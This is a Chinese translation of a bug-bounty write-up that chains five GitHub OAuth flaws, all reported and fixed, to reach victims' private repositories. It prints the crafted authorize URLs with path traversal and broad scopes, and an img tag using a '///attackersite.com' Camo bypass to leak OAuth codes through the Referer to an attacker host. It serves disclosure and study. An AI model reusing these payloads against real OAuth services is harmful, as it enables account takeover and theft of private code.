編注：為什麼标題是“再次”？2013年，GitHub Page服務啟用新域名（從 page.github.com 換到 github.io ）之前有被跨域攻擊的危險。Egor Homakov 寫了一篇 博文
證明。
這篇文章是關于我将5個危險性不高的漏洞組合起來，構造一個簡單卻高危漏洞的故事。利用這個漏洞，我可以進入github上的使用者私有代碼倉庫。這些漏洞都已經私下報告并及時修複了。
下面是我的郵件時間線：
漏洞1. 利用/../繞過redirect_uri 驗證
我最先發現的是：
如果提供了的話，重定向URL的主機和端口必須嚴格比對回調URL。重定向URL的路徑隻能引用回調URL的一個子目錄。
然後，我嘗試用/../進行路徑周遊，我成功了。
漏洞2. 在獲得令牌的終端缺少重定向URI驗證
僅有第一個漏洞沒有什麼價值。在OAuth2協定中有保護機制防止‘洩露的’重定向URI，每個code參數都簽發給對應的‘redirect_uri’。要獲得通路令牌必須提供你在認證流程中使用的準确的redirect_uri。
redirect_uri | string | 你的app中使用者認證後傳回給使用者的URL。檢視更多細節點選
redirect_urls.
不幸的是，我決定研究一下這個保護機制有沒有被正确實作。
它确實是有缺陷：不管用戶端發送什麼重定向uri來獲得令牌，提供商都會回複一個有效的通路令牌。
要是沒有第一個漏洞，第二個漏洞也會要毫無價值。但是，它們卻組合成一個很強大的漏洞——攻擊者可以劫持一個簽發給洩露的重定向uri的授權令牌，然後把這個洩露的令牌用在真正的用戶端回調URl上，進而登陸受害者的賬戶。順便說下，這和我在VK.com發現的漏洞一樣。
這是一個嚴重的問題，而且可以用來危害所有依賴“用GitHub登陸”功能的網站。我打開了應用頁面來檢視哪些網站應該檢查一下。這個部分引起了我的注意：
Gist、Education、Pages和Speakerdeck（注：前三個是Github的頻道站，後面是旗下站點）都是官方預先認可的OAuth用戶端。我沒有找到Pages和Education的client_id，Speakerdeck又超出了獎金範圍（我在那裡發現了賬戶劫持，并獲得了$100）。那麼，我們還是在Gist上尋找重定向洩露的頁面吧。
漏洞3. 在gist中注入跨站圖檔
基本上，洩露的Referers有兩個向量：使用者點選一個連結（需要互動）或使用者代理載入一些跨站資源，比如
<img>
我不能簡單的注入（img src=
http://attackersite.com），因為這會替換成camo-proxy URL，這樣就不能把Referer頭傳遞到攻擊者的主機。為了能夠繞過Camo-s 過濾器，我用了一個小技巧：
<img src=”///attackersite.com”>
你可以在
開放重定向漏洞進展這篇文章中看到更多細節。
///host.com 被Ruby的URI庫解析成一個相對路徑URL，卻被Chrome和Firefox視為一個相對協定URL。下面是我們精心構造的URL：
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<strong>2Fcallback/../../../homakov/8820324</strong>&response_type=code
當使用者載入這個URL時，Github會自動302 重定向自己。對應位址：
https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
但是使用者代理載入為：
https://gist.github.com/homakov/8820324?code=CODE
那麼使用者代理會把發送請求的CODE洩露給我們的
<img>
：
一旦我們獲得受害者的CODE，我們點選 ：
https://gist.github.com/auth/github/callback?code=CODE
瞧，我們登陸進了受害者的賬号，然後我們可以進入私有的gists
漏洞4. Gist在cookies裡暴露了github_token
我很想知道Gists是怎麼把使用者會話和解碼的_gist_session存放在cookie（普通的Rails Base64編碼的cookie）裡：
天啊，又一個OAuth的反面教材！用戶端絕不應該暴露真正的通路令牌給使用者代理。現在我們可以用這個github_token代表受害者賬戶來執行API調用，并且不再需要Gist網站。我試着通路私人代碼庫：
該死的，令牌的範圍顯然僅僅是Gists……
漏洞5. 對Gist用戶端的自動授權
我的漏洞利用的最後部分。由于Gist是一個預先授權的用戶端，我猜想Github也自動認證了Gist用戶端請求的其他範圍。我果然對了
我們現在要做的隻是把構造的URL載入到受害者的浏覽器：
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<strong>2Fcallback/../../../homakov/8820324</strong>&response_type=code&<strong>scope=repo,gists,user,delete_repo,notifications</strong>
使用者代理洩漏了受害者的CODE，攻擊者使用洩漏的CODE登陸進受害者的Gist賬戶，解碼_gist_session來盜取github_token等等。
私人代碼庫，讀寫權限等等——都秘密失竊，因為所用github_token是屬于Gist用戶端的。完美的犯罪，不是嗎？
賞金
$4000的獎勵真是太豐厚了。有趣的是，對他們來說購買我4~5個小時$400的咨詢服務，隻需要$1600，這會更便宜。重要的是也要有衆包安全。最好是兩者都用:)